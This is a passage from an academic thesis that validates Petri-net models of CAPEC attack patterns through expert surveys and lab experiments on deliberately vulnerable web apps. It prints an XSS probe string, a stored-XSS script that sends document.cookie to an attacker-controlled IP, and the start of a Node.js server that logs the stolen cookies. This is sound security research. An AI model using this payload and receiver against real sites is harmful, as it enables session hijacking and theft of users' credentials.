nets for simulation and analysis, and were the subjects of structured face
validation activities:
•

CAPEC-63: Cross-Site Scripting

•

CAPEC-66: SQL Injection

•

CAPEC-163: Spear Phishing

•

CAPEC-169: Footprinting
The attack pattern definitions were selected from the CAPEC database

based on the OWASP Top 10 list for cybersecurity vulnerabilities or supporting
activities that can lead to a compromised system [OWASP, 2021a]. Then PNPSC
nets were manually constructed for the selected attack patterns over several
months and several iterations. The nets were constructed, reviewed, and modified
multiple times each before considering validation.
7.3 Validation
To validate the four CAPEC-based PNPSC nets, a validation packet was
created for each of them. The validation packet included the following:
•

A printout of the CAPEC attack pattern definition from the MITRE
CAPEC website.
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•

A series of diagrams, each a graphical representation of the PNPSC net
mapping of the CAPEC attack pattern definition.

•

A series of tables describing the places, transitions, associated rates, and
rates’ updates based on the PNPSC net’s state.

•

A questionnaire with 14 questions on a Likert scale intended to assess the
validity of aspects of the models used, followed by an open-ended
question requesting suggestions for improvements that could be made.
Before the actual validation, the validation process was tested by a

member of the full-time research staff of the UAH Information Technology and
Systems Center. The tester holds a Ph.D. in Computer Science and is a
cybersecurity expert and researcher. This test of the validation process was
successful in that several deficiencies in the process were identified. They were:
•

Key constructs and concepts that a person unfamiliar with Petri nets would
need to know were omitted.

•

A clear explanation of what the evaluator was supposed to be doing as
well as the description of how the nets were developed was also missing.
The deficiencies found during this activity led to misunderstandings of the

expectations. These errors and omissions were corrected before the subject matter
experts were engaged during the actual validation activities. The results from this
preliminary evaluation were discarded.
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7.3.1

Validation Sessions
Two validation sessions were conducted, one in Huntsville, Alabama on

April 9, 2018, and another in Nashville, Tennessee on April 27, 2018. Between
these two sessions, a total of fourteen subject matter experts in cybersecurity were
engaged. There were at least three companies involved, representing government,
higher education, and healthcare. Before beginning their assessment of the
validation packets, the subject matter experts were given a short briefing that
covered:
The research program
•

The CAPEC classification scheme, database, and example attack pattern
definitions

•

Petri nets

•

PNPSC nets

•

Expectations of the validation process

•

How to complete the validation
In these validation sessions, corrected and improved materials from the

preliminary validation test were used.
In both locations, a member of the research team that was unknown to the
subject matter experts before the session delivered the briefing. During the
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assessment, the subject matter experts could discuss the material openly and
consult the research team on any matter of confusion or clarification. Every effort
was made to ensure that the two sessions were similar. The goal of maintaining
similarity was to reduce the probability of bias being introduced into the
validation results.
The experts evaluated the four PNPSC nets for two hours. During those
two hours, questions were encouraged, repeated to the entire group, and answered
for the entire group of subject matter experts, to ensure common understanding.
During the evaluation, the experts identified two errors in the validation
packets:
•

An extra transition arc on one net.

•

The mislabeling of a transition/place pair.
In both cases, the errors were corrected, and the subject matter experts

were informed.
7.3.2

Qualification of Subject Matter Experts
The subject matter experts were asked some demographic questions. The

results of those questions are summarized in Appendix B.
The experts were selected from a government research laboratory that
focuses on applied cybersecurity, and from a group of practicing cybersecurity
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engineers and leaders, working in healthcare and education. These experts were
diverse in levels of experience, education, and frequency of cybersecurity
activities. Most of the experts had limited experience with Petri nets. All of the
subject matter experts had at least five years of experience in cybersecurity.
7.3.3

Testing Method
For each of the four CAPEC attack pattern definitions modeled as PNPSC

nets, the following statements were evaluated by the subject matter experts:
•

You are familiar with the attack pattern.

•

The given Petri net makes sense from a conceptual point of view.

•

The attacker’s places and transitions make sense for actions that an
attacker can perform.

•

The defender’s places and transitions make sense for actions that a
defender can perform.

•

The places/transitions combinations represent realistic states and actions
that can be performed.

•

Attacker’s places/transitions accurately represent things an attacker can
do.

•

Defender’s places/transitions accurately represent things a defender can
do.

•

The PNPSC net accurately represents things that occur during the given
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•

cybersecurity attack.

•

The CAPEC entry accurately models the specified cyberattack.

•

The PNPSC net accurately models the CAPEC Entry.

•

The PNPSC net accurately models the specified cyberattack.

•

The rates presented accurately reflect the ability of the attacker/defender.

•

The costs described in the briefing accurately reflect the costs for this net.

•

The given PNPSC net models the given cyberattack in a correct enough
way to be useful for research.
The subject matter experts responded to these statements using the

following Likert scale:
•

Strongly Disagree

•

Disagree

•

Neither Agree or Disagree

•

Agree

•

Strongly Agree
The results were tested statistically using the normal approximation to a

binomial proportion where responses ≤ 3 were interpreted as the subject matter
expert disagreeing with the statement, and responses > 3 were interpreted as the
subject matter expert agreeing with the statement. Note that this is a conservative

143

interpretation of the Likert scale, in that 3 corresponds to “Neither Agree nor
Disagree” but was treated as disagreement.
This method is considered statistically valid if both of the following are
true:
𝑛𝑝 > 5
𝑛(1 − 𝑝) > 5
where 𝑝 is the probability of success, meaning a response > 3, and 𝑛 was
the number of respondents. On each submitted survey, all questions were
answered. The value of 𝑝 was arbitrarily assigned the value 0.5, so 𝑝 = 1 − 𝑝.
The number of completed surveys varied by CAPEC attack pattern definition,
corresponding to the value of n. Table 7.1 summarizes the confirmation that the
requirements of the statistical test were met.
The binomial proportion of a sample is computed
𝑝̂ =

𝑛𝑢𝑚𝑏𝑒𝑟 𝑜𝑓 𝑠𝑢𝑐𝑐𝑒𝑠𝑠𝑒𝑠
𝑛𝑢𝑚𝑏𝑒𝑟 𝑜𝑓 𝑟𝑒𝑠𝑝𝑜𝑛𝑠𝑒𝑠

Denote 𝑛 ≡ 𝑛𝑢𝑚𝑏𝑒𝑟 𝑜𝑓 𝑟𝑒𝑠𝑝𝑜𝑛𝑠𝑒𝑠. For a binomial proportion, the mean
𝜇 = 𝑝 = 0.5
and the variance
𝜎2 =

𝑝(1 = 𝑝)
𝑛

where 𝑝 is the probability of success. Recall the assumption that 𝑝 = 0.5.
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Table 7.1: Statistical Validity
CAPEC Attack Pattern
CAPEC-63: Cross-Site Scripting

n
11

p
0.5

np
5.5

CAPEC-66: SQL Injection

12

0.5

6

CAPEC-163: Spear Phishing

13

0.5

6.5

CAPEC-169: Footprinting

11

0.5

5.5

Because we are approximating the variable 𝑝̂ with the normal distribution, we
substitute the continuous, normally distributed variable 𝑥.
The null hypothesis indicated that the group disagreed with the statement.
So, we seek

𝑃(𝑝̂ ≥ 0.5) ≈ 𝑃(𝑥 ≥ 0.5) = 𝑃 𝑧 ≥
(

0.5 − 0.5
2
√0.5
𝑛 )

= 𝑃(𝑧 > 0)

The p-value is the cumulative probability corresponding to the value of 𝑧.
The test strategy calls for 95% confidence, so whenever the p-value is greater
than 0.05, we fail to reject the null hypothesis and deduce that the test is
inconclusive. The p-value represents the probability of a Type I error or a case
where the null hypothesis is rejected, and is, in fact, true.
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7.3.4

Inter-Rater Reliability
One relevant consideration of face validation is agreement among the

experts. When assessing the validity of a model based on subjective measures,
significant disagreement between the experts may indicate a variance in
measurements introduced by poor instrument design or variability in assessment
methods between experts [Hallgren, 2012]. To assess the implications of the
inter-rater reliability, statistical analysis of the responses between pairs of experts
should be considered.
In this case, because each expert considered each PNPSC net individually,
the assessment of each PNPSC net was considered a study independent of the
others, or a fully crossed study. Also, because each PNPSC net was accessed by
at least 11 experts, a method of computing an inter-rater reliability statistic
proposed by Light [Light, 1971] was used.
For these reasons, an arithmetic mean of the measured κ between pairs of
experts was computed, as well as other measures of centrality.
7.4 Validation Results
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The null hypothesis for each of the 14 validation statements was that the
group of experts disagreed with the statement. Appendix B summarizes the
analysis of the survey results for the related CAPEC attack pattern definition
modeled by PNPSC nets.
The results presented in Table B.6 suggest that for CAPEC-63: Cross-Site
Scripting, the subject matter experts generally agreed with the validity of the
attack pattern, as represented by the CAPEC attack pattern definition and the
PNPSC net, except for rates and costs. Notably, many organizations consider rate
and cost data sensitive, so that data for input modeling is rarely available. This
finding related to rates and costs is consistent with the subject matter expert
assessment for all four CAPEC attack pattern definitions modeled in this study.
Similar to the results in Table B.6, the results presented in Table B.7
suggests that for CAPEC-66: SQL Injection, the subject matter experts generally
agreed with the validity of the attack pattern, as represented by the CAPEC attack
pattern definition and the PNPSC net, except for rates and costs.
Similar to the results in Table B.6 and Table B.7, the results presented in
Table B.8 suggests that for CAPEC-163: Spear Phishing, the subject matter
experts generally agreed with the validity of the attack pattern, represented by the
CAPEC attack pattern definition and the PNPSC net, with the exception of rates
and costs.
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The survey results for CAPEC-163 differed from the results for the other
attack patterns regarding one statement: “The CAPEC entry accurately models the
specified cyberattack.” The subject matter experts’ responses failed to reject the
null hypothesis for this statement. Comments from the subject matter experts
suggest that there may be concerns about the completeness of the CAPEC-163
PNPSC net.
The results of CAPEC-169: Footprinting were interesting. Analysis of the
responses to statements regarding rates and costs resulted in the rejection of the
null hypothesis, and responses to statement about the Petri net as a whole and the
CAPEC attack pattern definition were also rejected. The results are presented in
Table B.9. The overall result of the structured face validation was that for three
of the four PNPSC nets (63, 66, and 163), the null hypothesis of disagreement
with the summary statement (“The given Petri net models the given cyberattack in
a correct enough way to be useful for research.”) was rejected.
These rejections were interpreted as the experts agreeing that the PNPSC
nets were valid.
The research team modeled the Explore phase of some related attack
patterns along with CAPEC-169, to provide enough detail for an assessment. All
child attack patterns were not included. This may have led to confusion among
the subject matter experts, and partially explain the results.
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Inter-rater reliability was measured by taking the agree/disagree
assessments on each of the fourteen questions and computing the number of times
a pair of experts agreed. This facilitated calculation of a percent agreement
between each pair of experts. The calculation of

𝜅=

𝑃(𝑎) − 𝑃(𝑒)
1 − 𝑃(𝑒)

where 𝑃(𝑎) ≡ 𝑝𝑒𝑟𝑐𝑒𝑛𝑡 𝑎𝑔𝑟𝑒𝑒𝑚𝑒𝑛𝑡, 𝑃(𝑒) ≡ 𝑝𝑒𝑟𝑐𝑒𝑛𝑡 𝑒𝑟𝑟𝑜𝑟 and, 𝑃(𝑒) is
assumed to 0.50, meaning experts are equally likely to agree or disagree. These
values of 𝜅 are averaged over all pairs, yielding the following descriptive statistics
in Table B.10.
Table B.10 shows that the experts are largely in agreement on CAPEC-63,
66, and 163. CAPEC-169 showed the most disagreement. Note also that
CAPEC-169 was ultimately rejected statistically based on the hypothesis testing.
The measure of agreement for CAPEC-66 and CAPEC-163 are almost identical.
CAPEC-63 was in the highest agreement of any assessed.
7.5 Summary
The results gathered during a structured face validation of four PNPSC
nets was designed to measure the validity of PNPSC nets constructed from
CAPEC attack pattern definitions and ascertain their validity for research. In
general, the validation effort was considered a success. Some errors were
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corrected in the PNPSC nets, and three of the four models were assessed valid for
research.
The PNPSC net constructed from CAPEC-169 Footprinting was the only
PNPSC net that failed validation on more than three statements. The evaluation of
CAPEC-169 revealed the relevance of the abstraction levels of the CAPEC attack
pattern definitions.
Transition rates and costs failed validation for all four models. In
retrospect, this could have been anticipated because the skills and capabilities of
the attackers vary by scenario. The systems being targeted also differ in the
sophistication of controls in place to mitigate such attacks. The rate and cost
calculations will be considered notional until a better method of justifying the rate
and cost calculations, as well as the initial values, are discovered.
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CHAPTER VIII

EXPERIMENTAL VALIDATION OF STRUCTURED ATTACK
PATTERNS
8.1 Introduction
The CAPEC attack pattern definitions are examples of conceptual models
of cyberattacks. The CAPEC attack pattern definitions claim to be "generated
from in-depth analysis of specific real-world exploit examples" [MITRE
Corporation, 2020a]. If this is true, the CAPEC database is valuable as input to
modeling and simulation of cyberattacks. Validating this assertion is the subject
of Chapter 8.
The attack pattern definitions published in the CAPEC database are
similar to design patterns, as studied in systems engineering and software
engineering. Attack patterns describe the steps that an attacker might take to
attack a vulnerable system and include artifacts and methods shared with similar
attacks. Each CAPEC attack pattern definition describes a specific type of
cyberattack; for example, its entries include Cross-Site Scripting (CAPEC-63),
SQL Injection (CAPEC-66), and Spear Phishing (CAPEC-163). The CAPEC
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Name
Description
Prerequisites
Related Attack Patterns
Relationships to other attack pattern definitions
Execution Flow
Explore phase
Step 0-i
Technique 0-j
Experiment phase
Step 0-k
Exploit phase
Step 0-l
Consequences

Figure 8.1: Partial Data Definition of CAPEC Attack Pattern Definitions
database entries are available in two forms: human-readable text, which is
displayed online, and XML, which can be downloaded and processed.
The CAPEC database also provides methodologies and mitigations
suggesting how to create and maintain software securely. The CAPEC database is
meant to be used in both academic and professional environments to increase
awareness of software vulnerabilities and their solutions.
A partial depiction of the structure of the data represented in a CAPEC
attack pattern definition is presented in Figure 8.1. The elements included in
Figure 8.1 are relevant to the validation conducted in this research.
The Execution Flow portion of Figure 8.1 represents the sequences of actions that
are necessary for an attacker to realize the Consequences of an attack. In the
CAPEC attack pattern definitions, the Name and Description are the only items
that are consistently present. All other data represented in Figure 8.1 may or
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may not be described in CAPEC attack pattern definitions.
During the Explore phase, the attacker investigates the ways authorized
users access and manipulate data using the application. Once the functionality
exposed by the target application has been discovered during the Explore phase,
the attacker begins the Experiment phase. In the Experiment phase, the attacker
attempts to find vulnerabilities in the application design. As vulnerabilities are
uncovered, the attacker can try to Exploit them, leading to the fulfillment of the
Consequences.
In each phase of the Execution Flow, there are zero or more Steps, which
represent the intermediate goals of the attack pattern. For example, CAPEC-63
Explore phase Step 1 is "Survey the application for user-controllable inputs…".
Each Step consists of zero or more Techniques, which are methods that can be
used to achieve the intermediate goal represented in the associated Step. A
Technique related to CAPEC-63 Explore phase Step 1 is "Use a proxy tool to
record all links visited during a manual traversal of the web application" [MITRE
Corporation, 2020a].
CAPEC attack pattern definitions may be related to other CAPEC attack
pattern definitions. The types of relationships are Child Of (reciprocal of Parent
Of), Can Precede (reciprocal of Can Follow), Peer Of, and Can Also Be. Peer Of
and Can Also Be are reciprocals of themselves.
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Table 8.1: CAPEC Scoring System Elements
CAPEC data
elements
Prerequisite
Explore
Experiment
Exploit
Consequences

Fully
defined
2
5
5
5
3

Partially
defined
4
4
4
-

In [Whitaker, 2019], a scoring system was developed to measure the
suitability of a CAPEC attack pattern definition for transformation into an
executable model. The scoring system was based on the existence of the CAPEC
definition data elements listed in Figure 8.1. Table 8.1 lists the scores attributed to
a CAPEC attack pattern definition. The score for a CAPEC attack pattern
definition is the sum of scores based on the existence of data elements in the
CAPEC attack pattern definition. The Prerequisites and Consequences either exist
or not, and if they exist, add 2 or 3 to the CAPEC attack pattern overall score,
respectively. The Explore, Experiment, and Exploit phases can either be fully or
partially defined. By fully defined, it is meant that one or more Steps exist within
the phase and that each of the Steps has at least one Technique defined. Partially
defined means that Steps are defined with no Techniques. Notably, many
combinations of the scenarios described above are present in the CAPEC attack
pattern data. A minimum score of 15 overall was considered sufficient
information to suggest that transformation into an executable model for
simulation purposes was worthwhile. For more information, see [Whitaker, 2019]
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and [Cantrell, 2018]. This scoring system illustrates the discrepancy between the
asserted level of precision described by the abstraction level and the number of
attributes described in the CAPEC attack pattern definition. This discrepancy is
discussed further in Section 8.3.
8.2 Relevance of Attack Patterns
To demonstrate the methods applied in this investigation, the attack
pattern CAPEC-63 Cross-Site Scripting (XSS) is chosen. In summary, the XSS is
achieved by duping a user into actions that result in the execution of a malicious
script by the user's browser. This code is executed with the privileges assigned to
the user. Cross-Site Scripting can be very difficult for the user to detect.
Cross-Site Scripting has been a continuous threat since the beginning of
browser-based technologies that could interpret HTML, and by extension,
JavaScript and other scripting languages. The Open Web Application Security
Project (OWASP) is a non-profit organization that operates to advance security in
software systems. A well-known OWASP project is the OWASP Top 10 Web
Application Security Risks. The OWASP Top 10 is a regularly updated list that
claims to represent a "broad consensus about the most critical security risks to
web applications" [OWASP, 2021a]. Since its inception in early 2003, the
OWASP Top 10 has included Cross-Site Scripting in every update. In the 2020
version of the OWASP Top 10, Cross-Site Scripting is ranked number seven.
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According to MSSP Alert, Cross-Site Scripting was used in 40 percent of online
cyberattacks in 2019 [Kass, 2020]. Additionally, Cross-Site Scripting errors
remain a common defect in web applications [Vijayan, 2019]. According to the
InfoSec Institute, Cross-Site Scripting remains the most commonly exploited
vulnerability [Poston, 2020].
The CVE was introduced in 1988 but gained wide acceptance since 2000. Figure
8.2 shows CVE activity since 2000 and illustrates the rapid adoption in recent years.

Total CVE Activity
70,000

60,000

50,000

40,000
Number of CVE Published
Number of CVE Modified

30,000

20,000

10,000

0

Figure 8.2: Annual CVE Activity
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Cross-Site Scripting CVE Activity
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Figure 8.3: Annual Cross-Site Scripting CVE Activity
Figure 8.3 illustrates CVE activity for Cross-Site Scripting for the same
period. Figure 8.3 was taken from the same dataset as Figure 8.2 but filtered on
the strings "XSS", "Cross-Site Scripting", and "Cross Site Scripting".
Figures 8.2 and 8.3 illustrate that CVE is a much more active dataset than
CAPEC. CVE notices are often issued several times a day. Because the CVE data
is updated so often, the CVE database is available for processing by accessing the
CVE web service [Byers, 2019]. Figures 8.2 and 8.3 indicate that Cross-Site
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Scripting is still a considerable risk to websites and information hosted, viewed,
and modified by them.
8.3 An Example: CAPEC-63 Cross-Site Scripting
For CAPEC-63, the Parent-Child relationships are depicted in Table 8.2.
A CAPEC attack pattern definition in a Child Of relationship is described as a
"higher level of abstraction", meaning the child is less abstract than the parent
[MITRE Corporation, 2020a]. This suggests that the CAPEC attack pattern
definitions that are descendants are refinements of the attack patterns from which
they descend. Note that all attack patterns represented in Table 8.2 are Detailedlevel abstraction, except for CAPEC-63, which is Standard-level abstraction.
However, CAPEC-63 exhibits significantly more detail than CAPEC-588,
CAPEC-591, and CAPEC-592, as indicated by the respective scores. CAPEC588, CAPEC-591, and CAPEC-592 all share CAPEC-63 as a parent.
The Description field of CAPEC-63 Cross-Site Scripting (XSS) is less
detailed than the Description of CAPEC-591 Reflected XSS, although there are
similarities. Inspection of these attack pattern definitions reveals other
similarities, but many discrepancies also. For instance, the Prerequisite of
CAPEC-63 is "Target client software must be a client that allows scripting
communication from remote hosts, such as a JavaScript-enabled Web Browser"
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while the Prerequisites of CAPEC-591 are an "application that leverages a clientside web browser with scripting enabled" and "An application that fails to
Table 8.2: Descendants of CAPEC-63
CAPEC ID
CAPEC-63
CAPEC-588
CAPEC-591
CAPEC-592
CAPEC-18

CAPEC-32

CAPEC-86

CAPEC-198

CAPEC-199

CAPEC-243

CAPEC-244

CAPEC-245

CAPEC-247
CAPEC-209

Parent
—
CAPEC-63
CAPEC-63
CAPEC-63
CAPEC-588
CAPEC-591
CAPEC-592
CAPEC-588
CAPEC-591
CAPEC-592
CAPEC-588
CAPEC-591
CAPEC-592
CAPEC-588
CAPEC-591
CAPEC-592
CAPEC-588
CAPEC-591
CAPEC-592
CAPEC-588
CAPEC-591
CAPEC-592
CAPEC-588
CAPEC-591
CAPEC-592
CAPEC-588
CAPEC-591
CAPEC-592
CAPEC-588
CAPEC-591
CAPEC-592
18

CAPEC-592

18

Score
20
5
5
5
20

20

20

2

20

2

2

2

2
14

While CAPEC-63 has a parent attack pattern definition, CAPEC-242 is not
included in this analysis.
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adequately sanitize or encode untrusted input". In another example from these
attack pattern definitions, the mitigations specified for CAPEC-591 are a subset of
those detailed in CAPEC-63, even though the mitigation wordings are somewhat
different. Similar comparisons can be made between CAPEC-63 and all the Child
Of related attack pattern definitions. These observations and other similarities
between attack pattern definitions and those of descendants suggest that the
validity of one CAPEC attack pattern definition might, at least partially, validate
others. This process of validating elements of attack pattern definitions through
the validity of others will be referred to as summarization.
Another indicator that CAPEC-63 and descendant attack patterns can be
summarized exists in the attack pattern Steps and Techniques. There only 27
unique Techniques for all 14 attack pattern definitions, significantly less than
might be expected. This is supported by the fact that the mean score of the attack
pattern definitions in this set is 11.2, and further implies that there may be
significant overlap between the attack pattern definitions among CAPEC-63 and
descendants.
Furthermore, some of the Techniques described in the CAPEC attack
pattern definitions have meanings similar enough to claim they can be validated
using the same experiments, even though worded differently. For example, a
CAPEC-199 Experiment Phase Step 2 Technique is:
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"Possibly using an automated tool, an attacker requests variations on the inputs
they surveyed before. They send parameters that include variations of
payloads. They record all the responses from the server that include
unmodified versions of their script."
An Experiment Phase Step 2 Technique for CAPEC-244 is
"Possibly using an automated tool, an attacker requests variations on the URLs
they spidered before. They send parameters that include variations of payloads.
They record all the responses from the server that include unmodified versions
of their script."
CAPEC-199 and CAPEC-244 are both descendants of CAPEC-63. These
Techniques differ by two words, but many web spiders can perform both actions
during the same run.
So, there are similarities between attack pattern definitions that are
engaged in Child Of relationships, as well as siblings. There are also differences.
The abstraction levels are curious in that the level of detail from Meta to Standard
to Detailed Abstraction level is inconsistent with the definitions.
8.4 Analysis
The Techniques observed in CAPEC-63 and descendants were examined.
A total of 42 experiments were performed. These experiments arguably validated
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CAPEC-63 and all descendants. Before examining some example experiments, a
discussion of Cross-Site Scripting and its variants is necessary.
The primary idea behind Cross-Site Scripting is getting the victim's
browser to execute malicious script [Zalewski, 2012]. Several scripting languages
may be executed by the browser, but the most common is JavaScript. Although it
is possible to run server-side JavaScript, it is primarily a client-side language
interpreted and executed by the browser. Client-side scripting languages are used
to make web applications more responsive. Vulnerabilities are introduced when
web application features do not implement proper controls to ensure that
malicious script is not executed.
There are many ways malicious script can be introduced to a victim's
browser. Most of these methods require the user to take some unwitting action,
such as clicking a link that has been constructed with malevolent intentions. The
three most commonly discussed variants of Cross-Site Scripting correspond
directly to the children of CAPEC-63.
CAPEC-591 Reflected XSS is the simplest form of Cross-Site Scripting.
In a reflected Cross-Site Scripting attack, the user is duped into taking an action
that causes the browser to execute a script that is not supplied as part of the
application, and those actions occur immediately and impact that user's session
alone.
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CAPEC-588 DOM-Based XSS is a form of Cross-Site Scripting that
attacks the Document Object Model (DOM). The DOM is a standard object
model for web applications, represented as HTML or XML documents. The DOM
"defines the logical structure of documents and the way a document is accessed
and manipulated" [Mozilla, 2021a] [Hegaret, 2000]. Using the DOM, the attacker
can steal or modify information.
CAPEC-592 Stored XSS is the form of Cross-Site Scripting with the most
potential impact. Stored Cross-Site Scripting is hypothetically more dangerous
because the malicious script is executed not only by the original victim but by
users who subsequently visit the site on which the malicious script is stored.
All forms of Cross-Site Scripting attacks take the same general form. First,
the web application is explored to examine the application functionality exposed.
Functionality is exposed through the use of URL parameters, or through forms
where data can be entered by a user for postback. These attacker actions
correspond to the Explore phase documented in the CAPEC attack pattern
definitions. Methods of exploring the functionality exposed include using a spider
tool or manually exploring the site, possibly assisted by a proxy or web crawler
browser plug-in.
After the application has been explored, the functionality exposed is
examined using Cross-Site Scripting probe strings. Cross-Site Scripting probe
strings are designed to assess web functionality to determine whether normal text
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might be interpreted as script and executed. JavaScript, HTML, or potentially
dangerous character sequences may be combined to confuse interpreters into
performing unintended actions. There are many published lists of Cross-Site
Scripting probe strings, including the OWASP XSS Filter Evasion Cheat Sheet
[OWASP, 2021b] and the Portswigger Cross-Site Scripting (XSS) cheat sheet
[PortSwigger Research, 2021]. Many of the tools designed to execute the
functions described in the CAPEC Experiment phase have lists of probe strings
included and facilitate the inclusion of user-defined probe strings. Penetration test
suites, such as OWASP Zed Attack Proxy (ZAP) [OWASP, 2021c] and BurpSuite
[PortSwigger Research, 2021] include not only probe strings, but web spiders and
proxies that can consolidate the CAPEC attack pattern definitions Explore and
Experiment phases into a single sequence of mostly automated actions. By
examining the application with probe strings, the attacker learns the weaknesses
in the application and how to take advantage of them.
Once the attacker knows the application functionality to attack,
exploitation begins by introducing malicious script to be executed by the browsers
of unwitting victims. These activities correspond to the Exploit phase Techniques
described in the CAPEC attack pattern definitions. In the Exploit phase, the
attacker takes actions whereby the Consequences described in the CAPEC attack
pattern definitions are realized.
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8.5 Experimental Results
Of the 27 unique Techniques described in the CAPEC attack pattern
definitions that are descendants of CAPEC-63, all were shown to be valid
methods of achieving the intermediate goals described in the Step descriptions. In
many cases, multiple experiments validated the Technique.
To perform the experiments, at least two platforms are required: an
attacking platform and a vulnerable target. Several freely available images can be
used for this purpose. These virtual images were implemented on a host MacBook
Pro equipped with a 3.1 GHz Intel Dual-Core i5 processor, 8 GB of RAM, and
macOS 11.0.1 running VirtualBox.
Kali Linux and Parrot OS are Linux-based images designed for
penetration testing. The platforms include software tools intended to execute the
procedures described in the CAPEC attack pattern definitions [Kali Linux, 2021]
[Parrot OS, 2021]. Kali Linux and Parrot OS are well suited as attacking
platforms.
Vulnerable target platforms were installed on Ubuntu Desktop 20.04
guests. These systems are designed to be intentionally vulnerable to numerous
types of attacks. The platforms used in the experiments include Damn Vulnerable
Web Application (DVWA) [Damn Vulnerable Web Application (DVWA), 2021],
and Mutillidae II [Mutillidae, 2021]. Because these platforms are intended to be
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vulnerable and designed for training and education, many resources exist that can
aid in the success of the experiments. In addition to online resources, there are
hints and links built into these vulnerable images that improve the probability of
successful compromise.19
In one series of experiments, the browser plug-in Data Miner was used to
record information as the web application was manually explored. Data Miner
was installed on the Chrome browser and the target system was the guest running
DVWA. DVWA has multiple levels of security that can be used when testing for
vulnerabilities. During this experiment, the DVWA Security Level was set at
Low. Data Miner was effective at recording the URLs visited, parameters
submitted, and the HTTP commands executed. Probe strings were then manually
inserted into the application in a subset of the data entry points identified. If those
probe strings reflect a portion of the submitted data or execute a script, the
experimental conclusion is the site may be vulnerable to Cross-Site Scripting.
Among others, it was discovered that the page Vulnerability: Reflected Cross-Site
Scripting (XSS) could be vulnerable. This was confirmed when a probe string was
inserted into the text entry field labeled "Enter your name:". This DVWA page
does nothing other than print a message with "Hello…" followed by the name

19

More information of the simulation platforms is included in Appendix D.
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entered in the text box. Instead of entering a name in the text box, the following
was entered:
<p>Joe <script>alert("XSS");</script></p>

This HTML string resulted in the DVWA Reflected XSS page printing
"Hello Joe" and created a dialog that had the label "XSS". The probe string
"<script>alert("XSS");</script>" is among the most well-known examples in
penetration test procedures for Cross-Site Scripting. The script tags signal HTML
that they delimit executable script, and the alert() function is core JavaScript. This
set of simple experiments demonstrates three of the Techniques specified in
CAPEC attack pattern definitions including the following:
•

Explore: Use a browser to manually explore the website and analyze how it is
constructed. Many browsers' plugins are available to facilitate the analysis or
automate the discovery.

•

Experiment: Use a list of XSS probe strings to inject script into UI entry fields. If
possible, the probe strings contain a unique identifier.

•

Exploit: Develop malicious JavaScript that is injected through vectors identified
during the Experiment Phase and loaded by the victim's browser and performs
actions on the same website.
These three Techniques are components of the following CAPEC attack

pattern definitions: CAPEC-63, CAPEC-18, CAPEC-86, CAPEC-199, CAPEC244, and CAPEC-32.
Among the consequences of CAPEC-63 Cross-Site Scripting (XSS) and
CAPEC-591 Reflected XSS is "Execute Unauthorized Commands". This set of
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simple experiments shows not only that unauthorized commands can be executed
using the methods demonstrated, but that the site can appear to be operating
normally.
Two items are worth reiterating at this point. First, the user would not
enter a script into the user interface to purposefully initiate a system compromise
in their own name. An attacker must craft a malicious link in an email or on
another website and induce the victim to click for this type of attack to be
effective. Second, although this set of simple experiments does not validate any
one CAPEC attack pattern definition entirely, it validates portions of six.
A more complex example that includes stored Cross-Site Scripting is
substantially more interesting. This sequence of experiments uses Mutillidae II as
the target machine. Mutillidae II implements pages that exhibit the vulnerabilities
listed in the regularly updated OWASP Top 10. Every OWASP Top 10
vulnerability since the original list in 2003 is implemented in Mutillidae II and
there is a significant body of knowledge on how to compromise these
vulnerabilities. The experiments begin with spidering the Mutillidae II site with
OWASP ZAP, using both the regular and AJAX spiders. In ZAP, an Active Scan
configuration was selected. During an Active Scan, ZAP will attack the site
according to the scan configuration specified. Because the objective of these
experiments was limited to Cross-Site Scripting, ZAP's Active Scan Policy was
configured to focus on that area. Many default scan rules were either disabled or
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had thresholds set such that the scanner would only alert when the most serious
vulnerabilities were encountered. Table 8.3 lists the ZAP Scan Policy Rules that
were enabled with the settings indicated.
ZAP Alerts show that the Mutillidae Add to Your Blog page is vulnerable
to Cross-Site Scripting, both DOM and Reflected. However, none of the persistent
Cross-Site Scripting rules fire. This is an interesting finding since the page is
designed to be vulnerable to persistent Cross-Site Scripting.
Once it has been learned that the Mutillidae Add to Your Blog page is vulnerable
to Cross-Site Scripting, an attempt is made to validate that malicious JavaScript
that sends information to an attacker can be inserted, saved, and executed by
unsuspecting users on future visits to pages where the malicious script is hosted.
Because it has not been demonstrated experimentally that the page is vulnerable
to persistent Cross-Site Scripting, a probe string similar to the previous
example was entered. When other browsers navigate to the site, not only was the
blog post displayed but the JavaScript alert() method was executed,
Table 8.3: OWASP ZAP Scan Policy Rule Configuration
Rule Name
Cross Site Scripting (DOM Based)
Cross Site Scripting (Persistent)
Cross Site Scripting (Persistent) - Prime
Cross Site Scripting (Persistent) - Spider
Cross Site Scripting (Reflected)
Parameter Tampering

Threshold
Low
Low
Low
Low
Low
Low
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Strength
Insane
Insane
Insane
Insane
Insane
Insane

demonstrating that the stored script would run whenever a browser subsequently
displayed the page.
To receive information sent from a compromised site, an Ubuntu Desktop
virtual machine was configured and Node.js, a JavaScript runtime that can host
webservices, was installed [About Node.js, 2021]. Because the information comes
from another host, the same-origin policy must be considered. The same-origin
policy is a security instrument that controls the use of resources loaded from a
remote origin [Mozilla, 2021b]. The objective of the malicious JavaScript used
for this experiment is to successfully post information to the Node.js server
running on a remote server. Posting to a machine that would be blocked by
default according to the same-origin policy requires HTTP Cross-Origin Resource
Sharing (CORS) header configuration. CORS provides a mechanism to "opt into
allowing cross-origin access to resources" [Mozilla, 2021c].
With the Node.js server in place, the HTML in Figure 8.4 was inserted
into the Mutillidae Add to Your Blog page. In a similar manner to the previous
example, the blog post will appear normally with no indication that malicious
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<html>
<p>
This is my blog post!
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.56.113", true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send(document.cookie);
</script>
</p>
</html>

Figure 8.4: Malicious Code Example
code is running. The XMLHttpRequest object instantiates methods that facilitate
the HTTP POST command to the Node.js server. The send command argument,
document.cookie, is an element of the DOM, the object created by webservers to
simplify the query and manipulation of website artifacts.
The code listing Figure 8.5 implements the Node.js server that accepts
post commands and logs them to a file named cookies.txt. The headers constant
consists of the CORS headers returned when an OPTIONS request is received.
When the GET method is called, form.html is returned. When POST is called, the
data is appended to the variable body and written to the file cookies.txt. The
variable body is written to the console when the function ends. The listen function
call has two parameters: 80, the TCP port to listen on, and "0.0.0.0", which means
accept requests from any IP address.
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var http = require('http');
var fs = require('fs');
var server = http.createServer(function (req, res) {
console.log(req)
const headers = {
"Access-Control-Allow-Origin": "*",
"Access-Control-Allow-Methods": "GET, OPTIONS, POST",
"Access-Control-Max-Age": 1728000,
